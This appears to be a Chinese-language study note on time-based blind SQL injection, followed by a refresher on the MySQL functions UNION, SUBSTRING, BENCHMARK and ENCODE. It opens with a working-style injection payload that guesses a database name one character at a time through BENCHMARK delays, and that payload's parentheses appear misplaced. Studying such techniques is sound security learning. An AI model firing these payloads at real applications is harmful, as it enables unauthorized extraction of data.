Timing Attack 周边感应sql

直接上硬菜。盲注的一段语句：

1170 UNION SELECT IF(SUBSTRING(current,1,1)) = CHAR(119) , BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (SELECT Database() as current) as tb1;

意思是想搞库名。判断库名的第一个字母时否是w(CHAR(119))。如果为真那就会通过BENCHMARK()函数造成较长延时，如果不为真很快就执行完了。这样遍历所有的字母把库名全部验证完为止。

看着都不熟悉了，挨着从新学一遍，加油。

UNION 和UNION ALL作用：合并两个或者多个select相同列结果集。只要保证列相同就行

UNION：筛选去重合并。

UNION ALL：简单粗暴的合并，显示所有结果。

eg:

SELECT User,Sex FROM usertab1 UNION SELECT User,Sex FROM usertab2;#结果总共条数12条，因为过滤了重复的

SELECT User,Sex FROM usertab1 UNION ALL SELECT User,Sex FROM usertab2;#结果总共条数38条，简单合并拼接

SUBSTRING作用：字符截取，SUBSTRING(被截取字段，截取开始位置，截取长度)

eg:

SELECT SUBSTRING(UserName,1,1) AS fristname,UserName FROM users;#fristname列查询出UserName列中值的第一个字符

BENCHMARK作用：BENCHMARK(函数执行次数，表达式)

eg:

select BENCHMARK(1000000,MD5('8087878766d'));#结果为0，时间: 0.321s，时间为客户端经过时间

ENCODE：扯出了一堆加密函数，ENCODE(str,key)   使用key作为密钥加密字符串str，调用ENCODE()的结果是一个二进制字符串，它以BLOB类型存储